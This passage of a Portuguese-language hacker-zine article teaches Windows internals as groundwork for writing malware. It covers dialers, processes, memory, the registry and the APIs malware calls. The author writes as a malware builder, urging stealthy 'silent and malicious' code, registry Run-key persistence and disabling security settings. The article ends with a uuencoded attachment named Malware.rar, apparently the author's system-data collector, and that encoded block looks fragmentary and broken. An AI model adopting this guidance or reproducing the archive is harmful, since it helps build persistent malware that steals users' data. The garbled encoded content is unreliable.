| | | | | +--------> Area de gravacao. ------------------------------+ | | | +--------------------------------------------------------------------------+ Dialers- Programa que tem como funcao discar para certos numeros utilizando o modem para atos lesivos ao usuario do computador. Assume o controle do computa- dor e do modem e faz dele ponto de acesso a invasores ou pessoas que ganham di- nheiro com esse acesso nao autorizado. Ao ligar para outros modens, o computador alvo passa a ser um servidor que pode ser utilizado para invasao de outros computadores ou atividades ilegais como pedofilia; Ligar para numeros de telefones de 'valor acrescentado' (mais caros que uma ta- rifa telefonica normal). Neste caso, e' cobrado ao dono da maquina uma taxa adicional, e o criador do dialer ganha uma comissao. Em muitos casos o dialer e' capaz de fazer ligacoes internacionais aumentando ainda mais o valor cobrado do usuario. Devem ser evitados pois trazem enormes prejuizos na conta telefonica do clien- te. Dialers (discadores) podem ser detectados pelas seguintes caracteristicas: - Popups abertos ao carregar um site. - No site ha' apenas uma pequena mensagem sobre o preco. - O download e' iniciado mesmo com o botao de cancelar clicado. - O dialer instala uma conexao padrao sem notificar. - O dialer instala uma conexao nao desejada sem interacao do usuario. - O dialer disca sem avisar o custo da ligacao. - O custo da ligacao nao e' avisado no meio da conexao. - O dialer pode e' removido facilmente (persistente). Diagrama: Dialer sendo ponte para atacantes agirem contra alvos (ligacao local): +--------------------------------------------------------------------------+ | | | +--------+ | | | HOST A |---> Atacante | | +--------+ | | | | | | +--------+ | | +------->| ALVO A |>-+ | | +--------+ | | | | | | | Alvo com acesso a <-+ | +--------+ | | Internet e/ou rede | Ataque ---> | ALVO B |<-+ | | local. | +--------+ | | | ____|____ | | | / ___ \ | | | |__| |__| | | | | ( ) |--> Dialer no alvo | | | |_________| (ligacao local) | | | | | | | | /------------------\ | | | <--- Ataque +----->| INTERNET |-+ | | | \------------------/ | | +--------+ | | | | ALVO C |<-------+ | | +--------+ | | | | | | +--------+ | | | | ALVO D |<-------+ | | +--------+ | | | | | | +--------+ | | | | ALVO E |<-------+ | | +--------+ | | | | | | | +--------------------------------------------------------------------------+ Dialer sendo usado para comissao ao atacante/ponte para acao contra alvos estrangeiros/locais (ligacao internacional). +--------------------------------------------------------------------------+ | | | +--------+ | | | HOST A |---> Atacante | | +--------+ <------ $$$ -----------+ <--- Pagamento por cada acesso. | | | | | | | +--------+ | | | +------->| ALVO A |>-+ | | | +--------+ | | <--- Ataque | | | | | | | Alvo com acesso a <-+ | | +--------+ | | Internet e/ou rede | | | ALVO B |<----+ | | local. | | +--------+ | | | | | | | | | | | | | | |_ | | | | <--- Ataque | | | | /------------------\ | | | +->|M|--+->| INTERNET |-+ | | |_| \------------------/ | | +--------+ | | | | ALVO C |<--------+ | | +--------+ | | | +-----> Ligacao internacional | | | +--------------------------------------------------------------------------+ [ --- 4. Evolucao dos atacantes +------------------------+ |Ano | Perfil | +------------------------+ |1986 - 2003 |Hobbistas | |2003 - 20006 |Criminosos| |2006 - Hoje |Espioes | +-------------+----------+ E qual sera o proximo perfil? Fica a pergunta, um mix dos 3? Ou algo maior alem disso? Duvidas! Antigamente faziam por diversao, depois passaram a criar malwares para obter ganhos e agora usam para espionar segredos industriais e etc.. [ --- 5. Entendendo o Sistema Windows. Nessa parte veremos melhor o funcionamento do Windows. Vale lembrar que e' im- portante saber como o sistema alvo funciona para podermos ter maior contro le sobre o nosso alvo e obter maiores ganhos. Lembre-se que um malware pode ter a capacidade de se duplicar em arquivos e/ou computadores. Portanto devemos ficar atento a essa possibilidade. As informacoes que veremos encontram se livre men- te na Internet para serem lidas (caso voce tenha necessidade em nao buscar co- nhecimento somente nesse paper, ao contrario, eu encorajo voce leitor que leu ate aqui agora a: busque mais informacoes em outras fontes, lembre-se que isso aqui e'apenas uma introducao, talvez em breve teremos mais publicacoes ao longo do tempo). Nessa introducao veremos bastante a respeito do Windows XP mas em breve ja te- remos algo sobre o Vista (por sinal o paper no momento esta' sendo escrito ne- le). Creio que poderei apresentar um codigo que funcione em Vista/XP. Vejamos umas novidades presentes no Vista: - Randomizacao do espaco de enderecamento (ASLR). - Niveis de integridade. - Controle da Conta do Usuario (UAC). _ Patch Guard. - Assinatura de Drivers. [ --- 5.1 Os executaveis. As principais extensoes que veremos nesse estudo sao: EXE: Um programa executavel, de um executavel do DOS a um executavel 32 bits PE. DLL: Biblioteca de Link Dinamico (Dynamic Link Library), exporta funcoes usando um numero ordinal ou opcionalmente um nome). SYS: Um driver de dispositivo carregado no espaco do kernel. OBJ: Um arquivo objeto criado por um compilador, usado como entrada num linker. Todos esses seguem o formato de arquivos PE/COFF. PE/COFF: Executaveis do Windows e arquivos de objetos seguem a especificacao PE (Porta- ble Executable), que e' baseada no UNIX COFF (Comon Object File Format). Voce pode pegar maiores informacoes em: http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx [ --- 5.2 Windows API Tambem conhecida como WIN32 API. As API sao o nucleo de interfaces no modo usu- ario para o sistema operacional. Usamos as APIs para acessar o sistema operaci- onal e assim com ele realizar tarefas. Usamos no Windows as seguintes DLLs para lidar com as nossas atividades no sistema: kernel32, user32, gdi32. Elas podem ser divididas em subcategorias: Administracao e Gerenciamento: - Agendador de Tarefas, WMI, etc... Diagnosticos: - Evento de logging, debugging, etc... Graficos e multimedia. Redes: - Winsock etc... Seguranca. Servicos do sistema: - Processos, threads, registro e sistemas de arquivos. WIndows User Interface. http://msdn.microsoft.com/en-us/library/ms632587(VS.85).aspx [ --- 6. Processos e Threads Um processo e' a abstracao de um programa rodando. Lembre se que processos po- dem estar em 3 estados (rodando, aguardando, dormindo). E que em um instante cada programa compartilha o processador com todo o resto do computador (hardwa- re e software). Por isso devemos sempre lembrar que ao desenvolvermos malwares devemos a todo o custo evitar muito usa da memoria, processador e acesso a dis- co. Obviamente sabemos que nosso malware precisa usar processador e memoria. Tente ao longo dos anos desenvolver melhor seu codigo reduzindo em tamanho de linhas programadas e melhorando o desempenho do malware. Nao queremos um malwa- re estuprando o computador, queremos um malware silencioso e malicioso reali- zando o trabalho que delegamos a ele. Vendo os processos podemos saber que cada processo precisa dos seguintes componentes essenciais: - Um espaco de endereco virtual privado. - Um programa executavel. - Um lista de handles abertos para alocar recursos no sistema operacional. - Um token de acesso, que identifica exclusivamente o proprietario, grupos de seguranca, e acesso privilegiado ao processo. - Um PID (Process Identifier). - Um ou mais threads. Threads sao entidades programadas para execucao na CPU. As threads consistem basicamente de: - O estado da CPU. - Duas pilhas, uma para o modo kernel e outra para o modo usuario. - Thread-Local Storage (TLS), um area privada para armazenamento de subsistemas, bibliotecas run time e DLLs. - Uma identificacao. - Um token de acesso, que identifica exclusivamente o proprietario, grupos de seguranca, e acesso privilegiado ao processo. Vejamos um grafico interessante: +--------------------------------------------------------------------------+ | | | +----------------+ VAD (Virtual Adrees Descriptors) | | | Token de acesso| Descritores de Enderecos Virtuais | | +------+-----+----------+ | | | Objeto | +----+\ +----+\ +----+\ | | | Processo |-----------> | VAD + | VAD + | VAD + | | +-----+------+ +----+/ +----+/ +----+/ | | | \ | | | \ Tabela de Handle: | | | \ | | | > +------------+ /----------\ | | | | +---------> | Objeto | | | | +------------+ \----------/ | | | | | | | | | +------------+ /----------\ | | | | +---------> | Objeto | | | | +------------+ \----------/ | | | | | | | | | +------------+ | | | | | | | | +------------+ | | | +----------------+ +----------------+ | | | | Token de acesso| | Token de acesso| | | | /+--+--+----------+ /+--+--+----------+ | | +-----------> |Thread| |Thread| | | \+-----+ \+-----+ | | | +--------------------------------------------------------------------------+ O que acontece quando um processo e' criado? 1- A imagem do arquivo e' aberta e lida. 2- O objeto do processo e' criado. 3- A thread inicial e' criada (pilha, contexto e objeto). 4- O Sub sistema do Windows e'notificado sobre o novo processo. 5- As thread sao executacas (a menos que o processo tenha sido criado como suspenso). 6- No contexto da nova thread, a inicializacao do processo e' completada (DLLs sao carregadas). Modo kernel x Modo usuario: O Windows suporta 2 chaveamentos no processador: - User mode (ring 3) - Kernel mode (ring 0) O codigo rodando no modo kernel pode acessar TODA a memoria. As Paginas de memoria nao sao acessiveis a processos no modo usuario. Existe um controle na hora de chavear os modos do processador. Vejamos agora um simples grafico explicando como o sistema lida com a memoria. +--------------------------------------------------------------------------+ | | | 0x00000000 / \ +------------+ | | | | 2GB | Assumindo ser um sistema 32 bits | | | | USER SPACE | padrao. | | | | | | | | +------------+ | | | | | | +------------+ | | | | 2GB | | | | | SYSTEM | | | | | SPACE | | | 0xFFFFFFFF | +------------+ | | \ / | | | +--------------------------------------------------------------------------+ [ --- 7. Gerenciamento de memoria Cada processo no computador, enxerga um espaco largo e continuo de enderecos privados de memoria. O Gerenciador de Memoria tem duas tarefas importantes que devem ser lembradas: - Mapeamento de acesso da memoria virtual para a memoria fisica. - A paginacao de memoria para o disco como memoria fisica corre por fora e a pagina de dados de volta para a memoria quando necessario. Devemos estudar tam- bem um pouco mais sobre memoria fisica e virtual (quando usamos espaco em disco para aumentar 'virtualmente' a nossa memoria). Vale lembrar que quando a memo- ria fisica do computador esta cheia, esta para sobreviver utiliza espaco do disco rigido e assim realiza o processo de swap. A memoria virtual: - Cada processo tem seu proprio espaco de enderecos virtuais. - A memoria virtual prove uma visao logica da memoria que nem sempre corresponde ao conteudo da memoria fisica. - Paginacao de memoria e' o processo de transferir os dados da memoria para o disco rigido. Agora iremos analisar o processo de memoria virtual (x86). Temos um total de 4GB de memoria virtual setada. Por padrao, somente a regiao baixa da memoria pode ser usada para alocar processos porque o sistema operacional ocupa a regiao alta e protege esses enderecos para o sistema utilizar aquela regiao da memoria Lembrando que 0x00000000 e' menor que 0xFFFFFFFF. +--------------------------------------------------------------------------+ | | | 0x00000000 / \ +------------+ | | ate | | 64KB | Regiao de 64KB para alocar ponteiros | | 0x0000FFFF | +------------+ nulos (inacessivel). | | | | | 0x00001000 | +------------+ | | | | Regiao de 2GB para alocar processos | | | | | dos usuarios (nao reservada,usavel). | | ate | | 2GB | | | | | | | | | | | | | 0x7FFEFFFF | +------------+ | | | | | 0x7FFF0000 | +------------+ Regiao de 64KB para alocar ponteiros | | ate | | 64KB | nulos (inacessivel). | | 0x7FFFFFFF | +------------+ | | | | | 0x80000000 | +------------+ | | | | | Regiao de 2GB para alocar processos | | | | | do sistema operacional(inacessivel). | | ate | | 2GB | | | | | | | | | | | | | 0xFFFFFFFF | +------------+ | | \ / | | | +--------------------------------------------------------------------------+ [ --- 8. Mecanismos de Gerenciamento do Sistema Podemos classificar dois importantes sistemas que ajudam a gerenciar o sistema operacional Windows, sao eles: - Registro. (contem um banco de dados informando configuracoes, valores, etc...) - Servicos. (como o nome ja diz, servicos que o sistema necessita e utiliza sempre que necessario). O Registro: Um grande diretorio que contem configuracoes e dados do sistema e de outros softwares. Imagine que ele seja um grande .INI que o sistema pesquisa e atuali- za caso aja algum evento para isso. O conceito basico de registro pode ser en- tendido como: pastas, chaves e valores. Tambem possui dados que estao na memo- ria que fazem referencias ao hardware. As raizes do registro: HKEY_LOCAL_MACHINE = Local com informacoes relacionadas ao sistema. HKEY_USERS = Local com informacoes relacionadas a todas as contas dos usuarios no sistema. HKEY_CURRENT_USER = Local com informacoes relacionadas ao usuario no momento, contem links para HKEY_USERS. HKEY_CLASSES_ROOT = Local com informacoes relacionadas a associacoes de arquivos e registros COM, links para HKEY_LOCAL_MACHINE\Software\Classes. HKEY_PERFORMANCE_DATA = Local com informacoes relacionadas aos dados. HKEY_CURRENT_CONFIG = Local com informacoes relacionadas ao perfil de hardware atual, com links para HKEY_LOCAL_MACHINE\CurrentControlSet\Hardware\Profiles\Current Registro e malwares: Fato: o malware tipicamente quer sobreviver ao reboot. E o melhor local para permitir isso e' o registro. No registro podemos encontrar/criar pontos de lan- camento para a execucao de nosso malware a cada reboot. Uma chave que usaremos muito e' essa: - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run Malware quase sempre tambem tem em sua programacao a alteracao de alguns para- metros (como desabilitar a seguranca, firewall, extensoes e configuracoes do IE, protecao e permissao de arquivos, etc... O registro tambem e' uma boa fonte para analise forense de dados como por exem- plo: - HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAs- sist Servicos: Servicos no Windows sao processos que rodam em background e que usualmente rea- lizam uma tarefa especifica e nao requer interacao do usuario. Como por exem- plo: - Atualizacoes automaticas. Os servicos sao controlados pelo Service Control Manager (SCM), services.exe E a chave no registro que lida com isso e': - HKEY_LOCAL_MACHINE\\System\CurrentControlSet\Services Existem 3 tipos de servicos: - Drivers do kernel. - Processos separados - Processos compartilhados (hospedados pelo svchost.exe) [ --- 9. Sistemas de arquivos O Windows suporta os seguintes formatos de sistema de arquivos: CDFS = sistema somente leitura para CDs. UDF = sistema somente leitura para DVDs. FAT12, FAT16, FAT32 = formato antigo NTFS = formato nativo e atual. Vejamos algo a respeito do sistema atual: - Foi programado para oferecer perfomance e seguranca em relacao ao FAT. - Quota de discos. - Sistema de criptografia de arquivos. - Hard links e junction points. - Suporte UNICODE em nome de arquivos. [ --- 10. Mecanismos de seguranca O Windows 'possui' mecanismos que tentam garantir a 'seguranca do sistema'. Irei listar alguns que sao de extrema importancia para termos um melhor conhecimento do sistema e saber o que fazer ao programar um malware. Security Reference Monitor (SRM) = Realiza checagem de acessos e gera mensagens para auditoria. Local security authority subsystem (LSASS) = Garante a politica local de seguranca. Security Accounts Manager (SAM) = Gerencia o banco de dados das contas locais. Active Directory (AD) = Servico de diretorio para objetos em um dominio. Winlogon = Responde para as SAS, gerencia as sessoes de logon. GINA = Obtem o usuario e a senha (ou o PIN de um smartcard. [ --- 11. Os objetos Quase tudo que lidamos no sistema e' um objeto (arquivos, processos, threads, destkop e etc...) Conceitos basicos: Cada objeto possui Security Identifier (SID), um identificador unico para cada um. Um exemplo: "S-1-5-21-525843606-2469437151-111719316-1006" Um token identifica o contexto de seguranca de cada processo (Membros do grupo Administrador podem desligar o sistema operacional) Descritores de seguranca especificam o que cada um pode fazer com aquele obje- to: - Proprietario. - Discretionary Access Control List (DACL) (algo como uma lista de acesso (acl)). Privilegios. [ --- 12. APIs do Windows usadas por malwares Ao analisar um malware em algum disassembler, depurador, etc.. Devemos prestar atencao as seguintes syscalls que ele usam (em sua maioria). Veremos agora as syscalls usadas em malwares para lidar com processos e threads: Processos e threads: - CreateProcess, TerminateProcess - CreateThread, _beginthread - CreateRemoteThread - GetThreadContext, SetThreadContext - CreateToolhelp32Snapshot - Process32First, Process32Next - NtQueryInformationProcess - NtQueryInformationThread Acessos a memoria sao comuns em todos os programas, um malware as vezes e' um programa (compilado) ou e' um script (interpretado). Precisamos saber que essas quatros chamadas sao amplamente utilizadas: Memoria: - ReadProcessMemory - WriteProcessMemory - VirtualAlloc - VirtualProtect Malwares tambem necessitam as vezes criar arquivos no alvo para poder manipular/enviar os dados que serao roubados/capturados. Arquivos e Registro: - CreateFile - FindFirstFile, FindNextFile - RegOpenKey - RegCreateKey - RegEnumKey - RegEnumValue Alguns malwares sofisticados lidam com servicos do Windows para camuflar a sua presenca. As chamadas mais realizadas sao essas: Servicos - OpenSCManager - CreateService - StartService - StartServiceCtrlDispatcher - RegisterServiceCtrlHandler E temos tambem chamadas de outros tipos que os malwares utilizam para realizar outras operacoes nao descritas nessa visao ja apresentada. Em media essas chamadas costumam tambem ser realizadas. - LoadLibrary - GetProcAddress - IsDebuggerPresent - DeviceIoControl - FindResource, LoadResource, LockResource - SetWindowsHook Para aprender melhores podemos usar as seguintes sugestoes de ferramentas: - Editor hexa - HT (http://hte.sourceforge.net/) - Ferramentas do Sysinternals (http://www.sysinternals.com) - Process Explorer - Autoruns - Process Monitor [ --- 13 Exemplo: O seguinte codigo tem como funcao principal recolher os seguintes dados do computador alvo: - CPU Speed. - Hostname. - Linguagem do Windows. - Numero serial do HD. - Placa de Rede. - Processador. - Time Zone. - Uptime. - Usuario. - Usuario Logado. - Localizacao da Pasta do Windows. - Versao do IE. - Versao do Windows. - Pagina inicial do IE. [ --- 14. Conclusao Ao longo desse artigo foi possivel contemplar a introducao. Esperamos que ao longo do tempo mais artigos venham ser liberadas tao breve que possivel nesta mesma zine! As informacoes apresentadas nao sao de forma alguma definitivas. Caso seja ne- cessario as referencias irao guiar o leitor para uma visao mais aprofundada de em relacao a um topico especifico. Caso haja algum erro neste paper, favor entrar em contato comigo o mais rapido possivel. Caso queira entrar em contato, sinta-se a vontade. Set List: - Kolovrat. - Heidevolk. - Astrofaes. - Burzum. - Division 250. - etc... Agradecimentos: - A Bolacha (minha querida cadela e amiga companheira, falecida na semana passada ;/). - Aos meus amigos (sao tantos, voces sabem que estao no meu coracao). - Aos meus inimigos. (gracas a voces eu acordo todo dia mais cedo querendo vencer!) - Aos meus amores. (prefiro nao citar nomes para nao causar ciumes nelas :) ) - A voce leitor, por ter aguentado ler ate aqui! begin 644 Malware.rar M4F%R(1H'`,^0
USH=
M,PP`(````%!R;VIE8W0R+G)E /`2K[@$.,>;,OKM$(\$-#N7\AZ@0`/C)H[)`5-XPG3<]Q9D#T;PG!P>
MHX:',5C[SH1[-;OCW771?C#(61Y8-6PQ'OTN[D;QJNW$:\[>_O:S*^>AF]X+
M'9-X\82@;[>^"$D!?`>!N2W?+CG_+]9)R9]:JB&LQG!5[+-CNI!D?]*?.U3H
M%R7I72 VSL_$!08RY_+=[?S`'45@!5="T.+'HZ6E^!:;-SQ:M"Y\5I9/$KH17B5K'
MK%QEVS9YL^E>S]@("O]X7B<^QC$5[`OQ+AV"J/P>047L.91+Z*DJ?X]L#YLU
M#7A`;A);L\7X:KZW&A1[J*X6=FTX,9]3![`NDW?$&J=QMF9M*%MV:58:HQ5'
M@C4<1RO8(.CXR:5B?`J;0R=A\(5*\27ZXKLJ=3@UN.7T5LZQI^S*:E)W,O[1
MRTK.QBMWX*4#F7;W3-'8486U0CO94WU_BK7$TD+J&T@4U;1L0=N$
M)#\DM2P'+,X#IV,%PJL79IMF^J_V:=PL'0\=Q>M?3M@@DF+U'7@>OS>V_']/
MG28>Z^_.[)PK$L6C_FLF'WX^/$:^NX2`H4<63VL-UE#EWQF`#VVXTGTHM@VB
M,RQ=M(`WH7?W&7[HNJLCVL3K_P'[!%W/L:#P7$N2A:,)EB.Z6>?;?>NO_3A3
M7O=7_CJ/2NHF#@;/QRV.VZK@P8LA68JXPK1)%9_,YO(.%T>CQ'MC_@V?@YUQ
M.6+E#N`,DDH>D7:OXG$V.I&,ZP!8,QSP66VB+B3/Y8DZY&F.,.R'-R$4<3*1
MG9M@1=@:X=!;*M.1Z?F,G&&DBV?"@D%=<#+YADL0+-BT;FU(6))%FWIC,9YD
MQ'!Z_@#,DJ^_T./7X`Y:B;$K0) 3'%[%?OOEOH+4'R]YC/PASUX
M_P`N:=6-1.'<*2I&=XT+GJ"OU!&ZN*.6%S="VS]#W-A('5WH7IZ-QZ&`;>B?S:WM[41YMP8L%SS3M
MD*]D(\NX
5_7,RG)IPN./NSAH,032&<1W-GMZ8N9V.O49M'.@FK*?POR'Q
M#XW*+GD=ZG<<&2.]H?GDH_.CN^$#7<#UD9I'R>"%N\'SSJ1N4:M1;Q`&I'][
M]'!T2&&W8P9,H'X^DOW&$1108#)2?]S3E&N9IE,5(WXR"WSAU_NHW@I/,3AU`6SVLMNR"-N.L1^4?F>-TTY0Z6=S
M5'69_\S?A._F'[(.3)<>A
M6SAB.>8_Q
!(/P.J&*+QE.=\$H-ME]`;.-=';PA^?W;Z.+9W>*S6.(U2U^/_NF$Z^A-^
MYA",N:PMUWGQ`N%S;11QU<+O':\=_MG@P+9)7S%C5(IKAVWV?>U<(RM6_><\R$H'\P9NN,S&?B!':>7*PW/P20/1P$T7S0N:%L!#A
M0M^7-2GN,4*WN;<.7P&`>&"C#'1H-$R]3:B^UL@MTV(T*[*&;\OH*<9I4*0<
M0KN2H8H2&+^`:U7>J7>*UJM"M?MB[+@F!&GOH<,;_Q`0YP2XA#0#B9_6%"+Z
MX@:_BMC^1!IO7Z%49!&)R6U]L`MH6JD4Y),?0_^+%66TL+%>D1;Q?F_J:2A;
MA-8[=IEJP^C$5?QC2Z#]QK2+'7EO)0],J!A9[(`6@A%:K?U&-6*D*\*C#E
MY=GPO;/636<$S5\D90)+;\$QE!N>)+=4S4$NF553+GX]W`,I"0?2<15N;=U'
M]AE-N?6&7HLT^)$*W!7=S\H;Q3U&YV@L:<
BZ6LZT6W+S^M,W)=#9?B?I])BMZX6-"2VR;0H";&AJD,]J$:O4JD^O-U$V5
M4(Q.<-H9(M%P;'%7FUYYRZYB&:1004.:$Y"+U92*UI!-G6E/M_8ZW-8XQ]6R
M-FFJZ>/%V4,=S^,7*"4!_`UM+:>GF!D;LH%W7:CP$'EY5N5W0XHHVX]>-]Z=
MO"YW/&`H0T]WEVY7<;3^&!=CATPF9:\>\J#49A/-+X.R1]CV`8(:E4?02/?_
M_R("@``TBNQ2(\%@"5F^5WD@"[)(V`+-_
ZVBT0
M9>M0Z,0C;$5Z-M1MR+!&WHW!'ME.93Z`8SC1(>$0,1'KC9>^67IDI&[B3N^#
M?>S!&Z.V_ZN+^A@BS]EJML-4AJQ*A3+7T)3HCXEZ"M-&"(GRM/+GRC"7")MT
M(B99"3OMC+14CY,^2Y[\1-,EA6+B;SNU%BHYVA'[AY\T2I_U";NXAU-*+'J+
MI1R0];:DL)Q]W1G31`7$@*9W?F\^"";^YQ#>'%3?8H#E]"M?!E+#8[6`!I/E
MYC23K]A``W!!G2'9)D[5V3^55RC!0BSNX,LYYEH&3J"7XL#LC*O=DB,QHX,RPZA
M-\O>#]?=LF4(MS9(C0=RIR3JS3)V+5Z-EW8_9W5[.F[NM]PR=0QMOI*B7!9^L>REAS'K)IS.9)W_A702+T=7=;#/2W8
DSILQ'+UWZ$KO_
M=8-C*EL^P:05;-_/@PX$KUMJ3*IIX`O*W/7]!4J+Z0(:QMZRT`_^\&QK4M!B
MD"77NV%SRS&WH"XH7$*0:=`P2O_5.R62)H0']2B3&2'3!)6.#I_UK&!QHW81
MS&8/N90-*N=K`OWK*%2+V?&LX8Y;*+D)N.0Y+5%WF#$H0!M8]W/4FW"*1(_/
MQZ?ZNKT\WVK`M?3DS81LQHLO,D`B^B)9K\M@,-8@$#=
MU%'YUD7SFY2J%/6I/-CB1;!+P6XHI=M7O-+(I:1MB/BU?&T^%/VDGIIK$;L_
M\!<&>D;B1